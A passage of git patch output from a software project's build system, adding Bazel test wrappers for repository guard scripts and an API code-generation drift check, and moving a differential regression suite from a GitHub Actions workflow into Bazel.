"--tree", + "$(rlocationpath :workapi_files)", + "--", + "scripts/check-workapi-frontend-boundary.sh", + ], + data = [":workapi_files"], +) + +# `make api-check`'s drift half: internal/httpapi/apigen/types.gen.go is +# exactly what oapi-codegen (go.mod's version, the `go tool` doc.go's +# go:generate runs) makes of the spec. Its `go test ./internal/httpapi/...` +# half is the httpapi targets in the same lane. +sh_test( + name = "types_gen_drift_test", + srcs = ["types_gen_drift_test.sh"], + data = [ + "//:go.mod", + "//internal/httpapi/apigen:types.gen.go", + "//internal/httpapi/spec:openapi.v0.yaml", + "@com_github_oapi_codegen_oapi_codegen_v2//cmd/oapi-codegen", + "@go_sdk//:bin/go", + "@go_sdk//:files", + ], + env = { + "COMMITTED": "$(rlocationpath //internal/httpapi/apigen:types.gen.go)", + "GO": "$(rlocationpath @go_sdk//:bin/go)", + "GO_MOD": "$(rlocationpath //:go.mod)", + "OAPI_CODEGEN": "$(rlocationpath @com_github_oapi_codegen_oapi_codegen_v2//cmd/oapi-codegen)", + "SPEC": "$(rlocationpath //internal/httpapi/spec:openapi.v0.yaml)", + }, +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/scripts/repochecks/run_check.sh b/scripts/repochecks/run_check.sh new file mode 100755 index 000000000..3bfaaf125 --- /dev/null +++ b/scripts/repochecks/run_check.sh @@ -0,0 +1,74 @@ +#!/usr/bin/env bash +# run_check.sh: run a repository guard over a declared slice of the checkout. +# +# run_check.sh [--tree MANIFEST]... [--env NAME=RLOCATION]... \ +# [--path RLOCATION]... -- PROGRAM [ARG...] +# +# The guards under scripts/ (check-build-tags.sh, fmt-check.sh, ...) walk the +# repository root above their own directory, often with `git ls-files` or +# `git grep`. Under `bazel test` they get instead a throwaway checkout built +# from exactly their declared inputs: +# +# --tree MANIFEST a repo_subset manifest (tools/bazel/repo_subset.bzl), +# as an rlocation path: every file it lists is copied +# (dereferenced) to its checkout path, then the tree is +# `git add`ed, so git ls-files/grep see those files. +# --env NAME=RLOC export NAME as the absolute path of a runfile (e.g. +# GOFMT=). +# --path RLOC put the runfile's directory first on PATH. +# +# PROGRAM is a checkout path (scripts/check-build-tags.sh) when the tree holds +# it, so the guard resolves its repository root to the tree; otherwise an +# rlocation path (a Bazel-built tool). It runs from the tree's root. +set -euo pipefail + +runfiles="${TEST_SRCDIR:?run_check.sh runs under bazel test}" +tree="${TEST_TMPDIR:?}/checkout" +manifests=() +path_dirs=() +envs=() +while [[ $# -gt 0 ]]; do + case "$1" in + --tree) manifests+=("$2"); shift 2 ;; + --env) envs+=("$2"); shift 2 ;; + --path) path_dirs+=("$2"); shift 2 ;; + --) shift; break ;; + *) echo "run_check.sh: unknown argument $1" >&2; exit 2 ;; + esac +done +[[ $# -ge 1 ]] || { echo "run_check.sh: no PROGRAM" >&2; exit 2; } +[[ ${#manifests[@]} -gt 0 ]] || { echo "run_check.sh: no --tree" >&2; exit 2; } + +rm -rf "$tree" +mkdir -p "$tree" +files=0 +for m in "${manifests[@]}"; do + while read -r rel rloc; do + [[ -n "$rel" ]] || continue + mkdir -p "$tree/$(dirname "$rel")" + cp -L "$runfiles/$rloc" "$tree/$rel" + files=$((files + 1)) + done <"$runfiles/$m" +done +echo "run_check.sh: checkout of $files declared files" + +git -C "$tree" init -q +git -C "$tree" add -f -A . + +for e in "${envs[@]+"${envs[@]}"}"; do + export "${e%%=*}=$runfiles/${e#*=}" +done +for p in "${path_dirs[@]+"${path_dirs[@]}"}"; do + PATH="$(dirname "$runfiles/$p"):$PATH" +done +export PATH + +program="$1" +shift +if [[ -e "$tree/$program" ]]; then + program="$tree/$program" +else + program="$runfiles/$program" +fi +cd "$tree" +exec "$program" "$@" diff --git a/scripts/repochecks/testdata/a.txt b/scripts/repochecks/testdata/a.txt new file mode 100644 index 000000000..789819226 --- /dev/null +++ b/scripts/repochecks/testdata/a.txt @@ -0,0 +1 @@ +a diff --git a/scripts/repochecks/testdata/assert_tree.sh b/scripts/repochecks/testdata/assert_tree.sh new file mode 100755 index 000000000..e8582467a --- /dev/null +++ b/scripts/repochecks/testdata/assert_tree.sh @@ -0,0 +1,17 @@ +#!/usr/bin/env bash +# Run by //scripts/repochecks:run_check_test through run_check.sh: the +# checkout holds exactly the slice's files, at their repository paths, under +# git, from the checkout root, with --env exported as an absolute path. +set -euo pipefail +want="scripts/repochecks/testdata/a.txt +scripts/repochecks/testdata/assert_tree.sh +scripts/repochecks/testdata/sub/b.sh" +got="$(git ls-files)" +if [[ "$got" != "$want" ]]; then + printf 'git ls-files:\n%s\nwant:\n%s\n' "$got" "$want" >&2 + exit 1 +fi +[[ "$(pwd -P)" == "$(git rev-parse --show-toplevel)" ]] || { echo "not run from the checkout root" >&2; exit 1; } +[[ ! -L scripts/repochecks/testdata/a.txt ]] || { echo "files must be copies, not runfiles symlinks" >&2; exit 1; } +[[ "$PROBE" == /* && "$(cat "$PROBE")" == a ]] || { echo "PROBE=$PROBE is not the absolute runfile" >&2; exit 1; } +echo "run_check.sh: tree, cwd and --env as expected" diff --git a/scripts/repochecks/testdata/skip.md b/scripts/repochecks/testdata/skip.md new file mode 100644 index 000000000..e32e76dd5 --- /dev/null +++ b/scripts/repochecks/testdata/skip.md @@ -0,0 +1 @@ +skip diff --git a/scripts/repochecks/testdata/sub/b.sh b/scripts/repochecks/testdata/sub/b.sh new file mode 100755 index 000000000..c4ced2b4e --- /dev/null +++ b/scripts/repochecks/testdata/sub/b.sh @@ -0,0 +1,2 @@ +#!/bin/sh +echo b diff --git a/scripts/repochecks/testdata/sub/deep/c.sh b/scripts/repochecks/testdata/sub/deep/c.sh new file mode 100755 index 000000000..ca5ed2595 --- /dev/null +++ b/scripts/repochecks/testdata/sub/deep/c.sh @@ -0,0 +1,2 @@ +#!/bin/sh +echo c diff --git a/scripts/repochecks/types_gen_drift_test.sh b/scripts/repochecks/types_gen_drift_test.sh new file mode 100755 index 000000000..0f72d15f6 --- /dev/null +++ b/scripts/repochecks/types_gen_drift_test.sh @@ -0,0 +1,41 @@ +#!/usr/bin/env bash +# types_gen_drift_test.sh: `make api-check`'s drift half under Bazel. Regenerate +# types.gen.go from the spec as doc.go's `go generate` does, and fail with the +# diff when the committed copy is stale. Inputs are rlocation paths (BUILD +# env): COMMITTED, SPEC, GO_MOD, OAPI_CODEGEN and GO. +set -euo pipefail + +r="${TEST_SRCDIR:?}" +work="${TEST_TMPDIR:?}/apigen" +rm -rf "$work" +mkdir -p "$work" + +# The Bazel-built oapi-codegen has no module build info, so its "Code +# generated by" header names an unknown version; `go tool oapi-codegen` names +# go.mod's. +version=$(awk '$1 == "github.com/oapi-codegen/oapi-codegen/v2" { print $2; exit }' "$r/$GO_MOD") +if [[ -z "$version" ]]; then + echo "go.mod does not require github.com/oapi-codegen/oapi-codegen/v2" >&2 + exit 1 +fi + +# oapi-codegen formats its output with golang.org/x/tools/imports, which runs +# `go env`: the registered SDK, outside any module, with a private, empty +# module cache and no network. +( + cd "$work" + PATH="$(dirname "$r/$GO"):$PATH" HOME="$work" GOPATH="$work/gopath" \ + GOMODCACHE="$work/gopath/pkg/mod" GOCACHE="$work/gocache" GOENV=off \ + GOFLAGS='' GOTOOLCHAIN=local GOPROXY=off \ + "$r/$OAPI_CODEGEN" -generate types,skip-prune -package apigen \ + -o "$work/types.raw.go" "$r/$SPEC" +) +sed "s|^// Code generated by unknown module path version unknown version DO NOT EDIT[.]$|// Code generated by github.com/oapi-codegen/oapi-codegen/v2 version $version DO NOT EDIT.|" \ + "$work/types.raw.go" >"$work/types.gen.go" + +if ! diff -u "$r/$COMMITTED" "$work/types.gen.go"; then + echo "openapi drift: internal/httpapi/apigen/types.gen.go is stale for the current spec (regenerating it changed it)." + echo "run 'make api-gen' and commit the result." + exit 1 +fi +echo "internal/httpapi/apigen/types.gen.go matches internal/httpapi/spec/openapi.v0.yaml (oapi-codegen $version)" diff --git a/tools/bazel/check_testcases.py b/tools/bazel/check_testcases.py index 0b89ee2ad..10cabcc35 100755 --- a/tools/bazel/check_testcases.py +++ b/tools/bazel/check_testcases.py @@ -18,7 +18,9 @@ target's test.xml, and every shard's, to list at least one top-level as //tools/bazel:dolt_version_test, whose test.xml Bazel writes with no Go testcases) from the count. The label must still be in the BEP: an exemption for a target the run did not test is an error, so a stale one -cannot linger. +cannot linger. //pkg:all exempts every test in that package (one that holds +only non-Go tests, such as //scripts/repochecks), and must match at least one +tested target. Exit status: 0 if every test.xml lists a test, 1 otherwise (including a BEP with no test results at all). @@ -48,10 +50,16 @@ def check(tested, testlogs, not_go=()): counts, problems = [], [] if not tested: problems.append("the BEP lists no test results") - for label in sorted(set(not_go) - set(tested)): - problems.append(f"{label}: --not-go, but the BEP has no result for it") + def exempt(label, entry): + if entry.endswith(":all"): + return label.split(":", 1)[0] == entry[: -len(":all")] + return label == entry + + for entry in sorted(set(not_go)): + if not any(exempt(label, entry) for label in tested): + problems.append(f"{entry}: --not-go, but the BEP has no result for it") for label, shards in sorted(tested.items()): - if label in not_go: + if any(exempt(label, entry) for entry in not_go): continue for xml_path in testlog_xmls(testlogs, label, shards): rel = os.path.relpath(xml_path, testlogs) diff --git a/tools/bazel/go_srcs.py b/tools/bazel/go_srcs.py index c06af7cfa..efb0cc977 100755 --- a/tools/bazel/go_srcs.py +++ b/tools/bazel/go_srcs.py @@ -133,6 +133,7 @@ ROOT_REPO_FILES_EXCLUDE = ( # Who may read //:repo_files: the repository-policy tests. REPO_FILES_VISIBILITY = ( "//scripts:__pkg__", + "//scripts/repochecks:__pkg__", "//test/docsync:__pkg__", ) diff --git a/tools/bazel/repo_subset.bzl b/tools/bazel/repo_subset.bzl new file mode 100644 index 000000000..882a98e85 --- /dev/null +++ b/tools/bazel/repo_subset.bzl @@ -0,0 +1,87 @@ +"""repo_subset: a narrow, path-selected slice of the checkout as test data. + +Repository guards (scripts/check-*.sh) read the tracked tree. Declaring all +of //:repo_files as their data would key every one of them to every file in +the repository, so an edit to any Markdown file re-runs the gofmt guard. +repo_subset selects, at analysis time, only the files a guard reads: the +test's action key then covers exactly those files. + +Patterns match a file's repository-relative path: + + "**/*.ext" the suffix, at any depth ("**/*.sh") + "dir/**" everything below dir + "dir/*.ext" files directly in dir with that suffix ("" dir: the root) + "path" exactly that file + +Every pattern must match at least one file, so a renamed input fails the +build loudly instead of letting the guard pass over an empty tree. + +The rule also writes a manifest, one " " line per +file, which scripts/repochecks/run_check.sh uses to lay the slice out as a +throwaway git checkout. `tree_prefix` places files from another repository +(e.g. @beads_formulas) at their checkout path. +""" + +def _matches(path, pattern): + if pattern.startswith("**/*"): + return path.endswith(pattern[len("**/*"):]) + if pattern.endswith("/**"): + return path.startswith(pattern[:-len("**")]) + if "*" in pattern: + prefix, suffix = pattern.split("*", 1) + if not (path.startswith(prefix) and path.endswith(suffix)): + return False + middle = path[len(prefix):len(path) - len(suffix)] + return "/" not in middle and len(path) >= len(prefix) + len(suffix) + return path == pattern + +def _rel(f): + """f's path within its own repository.""" + if f.short_path.startswith("../"): + return f.short_path[len("../"):].split("/", 1)[1] + return f.short_path + +def _rlocation(ctx, f): + """f's runfiles path (what $(rlocationpath) would give).""" + if f.short_path.startswith("../"): + return f.short_path[len("../"):] + return ctx.workspace_name + "/" + f.short_path + +def _repo_subset_impl(ctx): + files = ctx.files.srcs + picked = [] + unmatched = list(ctx.attr.include) + for f in files: + rel = _rel(f) + if any([_matches(rel, p) for p in ctx.attr.exclude]): + continue + hit = False + for p in ctx.attr.include: + if _matches(rel, p): + hit = True + if p in unmatched: + unmatched.remove(p) + if hit: + picked.append(f) + if unmatched: + fail("repo_subset %s: no file matches %s" % (ctx.label, unmatched)) + + lines = [] + for f in picked: + lines.append("%s%s %s" % (ctx.attr.tree_prefix, _rel(f), _rlocation(ctx, f))) + manifest = ctx.actions.declare_file(ctx.label.name + ".manifest") + ctx.actions.write(manifest, "\n".join(sorted(lines)) + "\n") + return [DefaultInfo( + files = depset([manifest]), + runfiles = ctx.runfiles(files = picked + [manifest]), + )] + +repo_subset = rule( + implementation = _repo_subset_impl, + attrs = { + "srcs": attr.label_list(allow_files = True, mandatory = True), + "include": attr.string_list(mandatory = True), + "exclude": attr.string_list(), + "tree_prefix": attr.string(doc = "Prepended to every file's checkout path."), + }, +) From 9a91f0629ec10c3a2ddd948441178fdd9b025eb6 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 01:41:12 +0000 Subject: [PATCH 026/213] ci(bazel): run the differential regression suite under Bazel; retire regression.yml (#7324) regression.yml ran `go test -tags=regression ./tests/regression/...` on a GitHub runner: it built the candidate with `go build`, downloaded the v0.49.6 baseline release over the network, and pulled the dolt-sql-server image. None of that works on rbe-west workers (no network for fork lanes, no docker). - tools/bazel/bd_releases.bzl: a module extension that reads scripts/migration-test/release-catalog.json and declares one repository per catalog release with a linux_amd64 asset digest (bd_release_, verified against the catalog's sha256), behind the @bd_releases hub (@bd_releases//:, plus versions.bzl). Adding a release is a catalog change only; nothing downloads until a test declares one. - //tests/regression:regression_test: the suite's files build under `regression || integration`, so gazelle generates the target. It runs the injected non-race bd_for_tests (BEADS_TEST_BD_BINARY) against @bd_releases//:v0.49.6 (BD_REGRESSION_BASELINE_BIN), both over a hermetic dolt sql-server (BEADS_TEST_DOLT_SERVER=local, required), in 8 shards. TestMain checks the baseline reports BASELINE_VERSION, so the label and the file cannot drift. Tagged dolt-server-cmd: bazel.yml's bazel-cmd-dolt lane, which pr.yml's gate requires, runs it remotely; test result caching stands in for the old path detector. - A plain `go test -tags=integration ./...` (nightly) compiles the files but skips the suite; only -tags=regression (make test-regression) or Bazel runs it. - regression.yml, main.yml's warm-up compile for it and the policy tests that pinned its jobs are removed. Refs: ga-96smfk.19 Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelrc | 4 +- .github/workflows/bazel.yml | 9 +- .github/workflows/main.yml | 3 - .github/workflows/regression.yml | 177 ----------------------- BUILD.bazel | 1 + MODULE.bazel | 8 ++ cmd/bd/BUILD.bazel | 1 + engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 38 +++-- engdocs/CI_TEST_SURFACE_AUDIT.md | 2 +- engdocs/ICU-POLICY.md | 2 +- scripts/ci_f7c_advisory_test.go | 179 +----------------------- scripts/ci_workflow_test.go | 9 +- scripts/pull_dolt_image_test.go | 5 +- tests/regression/BUILD.bazel | 71 ++++++++++ tests/regression/regression_tag_test.go | 8 ++ tests/regression/regression_test.go | 91 ++++++++++-- tests/regression/scenarios_test.go | 2 +- tools/bazel/bd_releases.bzl | 141 +++++++++++++++++++ 18 files changed, 345 insertions(+), 406 deletions(-) delete mode 100644 .github/workflows/regression.yml create mode 100644 tests/regression/BUILD.bazel create mode 100644 tests/regression/regression_tag_test.go create mode 100644 tools/bazel/bd_releases.bzl diff --git a/.bazelrc b/.bazelrc index 705245c2b..e298cc59b 100644 --- a/.bazelrc +++ b/.bazelrc @@ -216,7 +216,9 @@ test:doltserver-integration --experimental_remote_cache_eviction_retries=0 # tag), the whole integration-tagged cmd/bd suite against a hermetic dolt # sql-server, i.e. the Dolt-gated cmd/bd tests every other lane skips # (BEADS_TEST_SKIP=dolt in --config=prcore/ci and --config=integration, and -# in nightly.yml's go test job). The build flags are exactly +# in nightly.yml's go test job), and //tests/regression:regression_test +# (the differential regression suite, formerly regression.yml, against the +# catalog-pinned baseline in @bd_releases). The build flags are exactly # --config=integration's, so it compiles nothing bazel-integration does not # (shared through the remote cache). bazel.yml runs it where it runs the # integration lane (remote, or with the read-only cache in mode cache), in a diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 772ce64f3..6a8c8e381 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1724,9 +1724,12 @@ jobs: # shards) against a hermetic dolt sql-server, i.e. the Dolt-gated cmd/bd # tests (TestCLI_*, TestInit*, the store-backed suites) that every other # lane and legacy job skips with BEADS_TEST_SKIP=dolt or leaves out of its - # manifest. --config=doltserver-cmd has exactly --config=integration's - # build flags, so it shares bazel-integration's compile through the - # remote cache. Runs exactly where bazel-integration runs (the same if): + # manifest; plus the differential regression suite + # (//tests/regression:regression_test, 8 shards: the candidate + # bd_for_tests against the catalog-pinned v0.49.6 release, formerly + # regression.yml). --config=doltserver-cmd has exactly + # --config=integration's build flags, so it shares bazel-integration's + # compile through the remote cache. Runs exactly where bazel-integration runs (the same if): # remotely (modes remote, fork-ro, fork-rw), or locally with the # read-only cache (mode cache: fork and Dependabot PRs while rbe-fork is # closed), never plain local (rbe=off), and not when a caller passes diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index c0b5cff73..2ad147015 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -1163,9 +1163,6 @@ jobs: - name: Build bd run: make build - - name: Compile regression tests - run: go test -c -tags regression,gms_pure_go ./tests/regression - # Always save (even if a warm-up step above failed) under a fresh, # commit-specific key: the content is still a valid, newer GOCACHE/ # GOMODCACHE snapshot than whatever was restored, and `cache/save` is a diff --git a/.github/workflows/regression.yml b/.github/workflows/regression.yml deleted file mode 100644 index 52c03931f..000000000 --- a/.github/workflows/regression.yml +++ /dev/null @@ -1,177 +0,0 @@ -name: Regression Tests - -on: - # Run on merges to main - push: - branches: [main] - pull_request: - branches: [main, 'release/**', 'hotfix/**'] - # Allow manual trigger - workflow_dispatch: - -env: - BD_DISABLE_METRICS: "1" - BD_DISABLE_EVENT_FLUSH: "1" - -jobs: - regression: - name: Differential Regression (v0.49.6 baseline) - # F7c: detect-regression-need folded in as this job's own first step - # (id: detect). A non-applicable PR now costs one short Blacksmith-sized - # job instead of two GitHub-hosted jobs; every later step is gated on - # steps.detect.outputs.run_regression instead of a separate job's output. - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} - timeout-minutes: 45 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - with: - fetch-depth: 0 - - - name: Decide whether to run differential regression tests - id: detect - env: - EVENT_NAME: ${{ github.event_name }} - PR_BASE_SHA: ${{ github.event.pull_request.base.sha }} - PR_HEAD_SHA: ${{ github.event.pull_request.head.sha }} - run: | - set -euo pipefail - - if [[ "$EVENT_NAME" != "pull_request" ]]; then - echo "run_regression=true" >> "$GITHUB_OUTPUT" - echo "reason=$EVENT_NAME event always runs regression tests" >> "$GITHUB_OUTPUT" - exit 0 - fi - - labels="$(jq -r '.pull_request.labels[].name // empty' "$GITHUB_EVENT_PATH")" - if grep -Fxq "run-regression" <<<"$labels"; then - echo "run_regression=true" >> "$GITHUB_OUTPUT" - echo "reason=run-regression label present" >> "$GITHUB_OUTPUT" - exit 0 - fi - if grep -Fxq "skip-regression" <<<"$labels"; then - echo "run_regression=false" >> "$GITHUB_OUTPUT" - echo "reason=skip-regression label present" >> "$GITHUB_OUTPUT" - exit 0 - fi - - changed="$(git diff --name-only "$PR_BASE_SHA" "$PR_HEAD_SHA")" - echo "Changed files:" - printf '%s\n' "$changed" - - regression_candidates="$( - printf '%s\n' "$changed" | - grep -Ev '^(cmd/bd|internal/storage|internal/types)/.*_test\.go$' || - true - )" - - risky_pattern='^(\.github/workflows/regression\.yml|Makefile|go\.(mod|sum)|cmd/bd/|internal/storage/|internal/types/|tests/regression/)' - if grep -Eq "$risky_pattern" <<<"$regression_candidates"; then - echo "run_regression=true" >> "$GITHUB_OUTPUT" - echo "reason=PR changes CLI, storage, types, regression, or build inputs" >> "$GITHUB_OUTPUT" - exit 0 - fi - - echo "run_regression=false" >> "$GITHUB_OUTPUT" - echo "reason=PR does not touch regression-sensitive paths" >> "$GITHUB_OUTPUT" - - - name: Show regression trigger reason - if: steps.detect.outputs.run_regression == 'true' - run: echo "${{ steps.detect.outputs.reason }}" - - - name: Set up Go - id: setup-go - if: steps.detect.outputs.run_regression == 'true' - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: ${{ runner.environment == 'github-hosted' }} - - # F7c review fix S5: this job's own key copy must match main.yml's - # seeder key byte-for-byte (TestBlacksmithSetupGoCacheKeysMatchAcrossSeederAndConsumers), - # which now keys by UTC calendar day instead of github.sha so main - # pushes don't churn a multi-GB cache entry on every commit; this step - # computes that same day value locally so the key expression below - # resolves (steps.* references only resolve within the same job). - - name: Compute cache date - id: cache-date - if: steps.detect.outputs.run_regression == 'true' && runner.environment == 'self-hosted' - run: echo "today=$(date -u +%Y%m%d)" >> "$GITHUB_OUTPUT" - - - name: Restore Blacksmith setup-go cache - if: steps.detect.outputs.run_regression == 'true' && runner.environment == 'self-hosted' - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v5 - with: - path: | - ~/go/pkg/mod - ~/.cache/go-build - key: blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - restore-keys: | - blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.sum') }}- - blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Configure Git - if: steps.detect.outputs.run_regression == 'true' - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - - - name: Install Dolt - if: steps.detect.outputs.run_regression == 'true' - run: ./scripts/ci/install-dolt.sh - - - name: Configure Dolt - if: steps.detect.outputs.run_regression == 'true' - run: | - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - dolt version - - - name: Pull Dolt sql-server image - # Without this, isDoltImageCached() returns false in TestMain and the - # regression suite falls back to embedded Dolt with HOME=, which - # has a known cleanup race (see beads issue: TestCreateWithParentFlag - # TempDir RemoveAll "directory not empty" flake). Keep the tag in sync - # with internal/testutil/testdoltcommon.go:DoltDockerImage. - if: steps.detect.outputs.run_regression == 'true' - run: ./scripts/ci/pull-dolt-image.sh - - # Restore-only: actions/cache (bare) auto-saves on any key miss, which - # would let a same-repo PR that bumps BASELINE_VERSION write a baseline - # binary cache entry a later PR or main could read back unverified. The - # matching save below only runs off pull_request (B2, F7c implementation - # report). - - name: Restore baseline binary cache - if: steps.detect.outputs.run_regression == 'true' - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v5 - with: - path: ~/.cache/beads-regression - key: regression-baseline-${{ hashFiles('tests/regression/BASELINE_VERSION') }} - - # Passing-side wall time already overlapped the go deadline below, so - # ordinary GitHub-runner speed variance -- not a real hang -- was - # tripping this step. Measured over the 100 most recent Regression - # Tests runs (2026-09-03/04, ~29.5h): p50 593s (~10m), max passing - # 1189s (~19.8m) against the prior 1200s (20m) cap, and 5 runs in that - # window hit the identical `panic: test timed out after 20m0s` with - # zero `--- FAIL` lines -- a budget defect, not a regression. Match - # main.yml's Test job fix for the same failure mode: raise the go - # deadline to cover the observed slowdown and keep it inside a larger - # finite job budget (see timeout-minutes above), so the go deadline - # fires first and prints goroutine stacks -- a REAL hang stays - # diagnosable instead of being cut off by a bare job kill. - - name: Run regression tests - if: steps.detect.outputs.run_regression == 'true' - run: go test -tags=regression,gms_pure_go -timeout=40m -v ./tests/regression/... - - - name: Save baseline binary cache - # Allow-list push/workflow_dispatch rather than deny-list - # pull_request: a deny-list also admits a hypothetical future - # merge_group event, which this job's runs-on expression already - # resolves to Blacksmith for. Pinned by - # TestBlacksmithReachableAdvisoryJobsNeverSaveACache (checks both the - # pull_request and merge_group trust contexts independently). - if: steps.detect.outputs.run_regression == 'true' && (github.event_name == 'push' || github.event_name == 'workflow_dispatch') - uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v5 - with: - path: ~/.cache/beads-regression - key: regression-baseline-${{ hashFiles('tests/regression/BASELINE_VERSION') }} diff --git a/BUILD.bazel b/BUILD.bazel index 752091059..c03faf804 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -374,6 +374,7 @@ filegroup( "//test/conformance:repo_files", "//test/docsync:repo_files", "//test/testmainconvention:repo_files", + "//tests/regression:repo_files", "//third_party/cc_toolchain:repo_files", "//third_party/patches:repo_files", "//tools/bazel:repo_files", diff --git a/MODULE.bazel b/MODULE.bazel index 079f91640..d0e1a2d3f 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -238,3 +238,11 @@ new_local_repository( """, path = ".beads/formulas", ) + +# Historical bd releases for the regression, migration and cross-version +# suites (tools/bazel/bd_releases.bzl): one repository per release in the +# release catalog that records a linux_amd64 asset digest, behind the +# @bd_releases hub. Adding a release is a catalog change only. +bd_releases = use_extension("//tools/bazel:bd_releases.bzl", "bd_releases") +bd_releases.catalog(path = "//scripts:migration-test/release-catalog.json") +use_repo(bd_releases, "bd_releases") diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 9c4e304f5..c7f630716 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -495,6 +495,7 @@ go_binary( "//internal/beads:__pkg__", "//internal/storage/uow:__pkg__", "//test/conformance:__pkg__", + "//tests/regression:__pkg__", ], ) diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 08615789b..e1d25ed7b 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -151,10 +151,12 @@ Current PR-related workflow names: Runs on pushes to `main`. Contains the main branch health checks, package gates, platform smoke/short coverage, embedded Dolt coverage, and promoted Linux no-short integration shards. -- `.github/workflows/regression.yml`: `Regression Tests` - Runs on `pull_request`, `push` to `main`, and manual dispatch. Does not - currently run on `merge_group`. Uses job-level conditional regression - execution. +- The differential regression suite (`tests/regression`, formerly + `regression.yml`) is `//tests/regression:regression_test`, tagged + `dolt-server-cmd`, so `bazel.yml`'s `bazel-cmd-dolt` lane runs it on every + PR, merge group and push to `main` (results cached until its inputs + change), against the catalog-pinned `@bd_releases//:v0.49.6` baseline and + a hermetic dolt sql-server. - `.github/workflows/cross-version-smoke.yml`: `Cross-Version Smoke Tests` Runs on every PR to `main`, tag pushes, and manual dispatch. Does not currently run on `merge_group`. @@ -337,8 +339,7 @@ PR. It runs in the default branch's cache scope, which `push` runs on binaries); - the `beads-go-build-v2-*` GOCACHE entries restored by `main.yml` and `pr.yml`; - - the executables in `smoke-binaries-*`, `historical-dolt-*` and - `regression-baseline-*`. + - the executables in `smoke-binaries-*` and `historical-dolt-*`. GitHub's read-only default covers all of them. Hardening `release.yml` with `cache: false` is tracked separately. @@ -659,7 +660,6 @@ Do not require these existing check names directly: - `Test (Windows - smoke)` - `PR Lint (native)`, `PR Lint (windows)` and `PR Lint (darwin)` - `Test Nix Flake` -- `Differential Regression (v0.49.6 baseline)` - `Upgrade smoke (chunk N)` (F7c: folded from one job per version into one job per 5-version chunk; still never require a matrix-expanded chunk job directly) @@ -1357,20 +1357,16 @@ tier down in the same workflow: ### Regression Tests -`Regression Tests` can stay visible as a non-required workflow. If regression -becomes branch-protection relevant, do not require -`Differential Regression (v0.49.6 baseline)` directly. - -Use one of these narrow changes instead: - -1. Move the regression detector and regression job into the required PR - topology, wire them into the relevant aggregate gate, and add `merge_group` - behavior that defaults to running regression. -2. Keep `regression.yml` separate, remove any workflow-level skip filters, add - `merge_group`, add a final `Regression Gate / Informational` aggregate, and - leave it non-required unless branch protection is intentionally expanded. - -The preferred required-check topology keeps only aggregate gates required. +`regression.yml` is retired. The suite runs as +`//tests/regression:regression_test` (8 shards) in `bazel.yml`'s +`bazel-cmd-dolt` lane, which `pr.yml`'s `CI Gate / Required` requires +(`BAZEL_CMD_DOLT_REQUIRED`), so regression is now part of the aggregate gate +on PRs and merge groups instead of a separate, path-detected advisory +workflow. Its path detector is replaced by test result caching: the target +re-runs only when `bd_for_tests`, the suite or its pinned inputs change. The +baseline is `@bd_releases//:` (`tools/bazel/bd_releases.bzl`, +pinned by `scripts/migration-test/release-catalog.json`); `TestMain` fails if +the binary does not report `BASELINE_VERSION`. ### Nix Build diff --git a/engdocs/CI_TEST_SURFACE_AUDIT.md b/engdocs/CI_TEST_SURFACE_AUDIT.md index fee86d199..5936cf71e 100644 --- a/engdocs/CI_TEST_SURFACE_AUDIT.md +++ b/engdocs/CI_TEST_SURFACE_AUDIT.md @@ -199,7 +199,7 @@ Key jobs preserved by display name: | Workflow | Triggers | Main validation | |---|---|---| -| `regression.yml` | Push to `main`, PR to `main`, manual | Detector runs regression on push/manual, PR label `run-regression`, or risky paths; test command is `go test -tags=regression,gms_pure_go -timeout=20m -v ./tests/regression/...`. | +| `bazel.yml` `bazel-cmd-dolt` (formerly `regression.yml`) | PR, merge group, push to `main` | `//tests/regression:regression_test` (8 shards, cached until its inputs change) against the catalog-pinned v0.49.6 baseline; local entrypoint stays `make test-regression`. | | `cross-version-smoke.yml` | Tags, PRs, manual | PRs test latest 5 releases, tags test latest 30, via `scripts/upgrade-smoke-test.sh`. | | `migration-test.yml` | Tags, PRs touching upgrade-relevant code (advisory, path-filtered), manual | Builds candidate once per shard (3 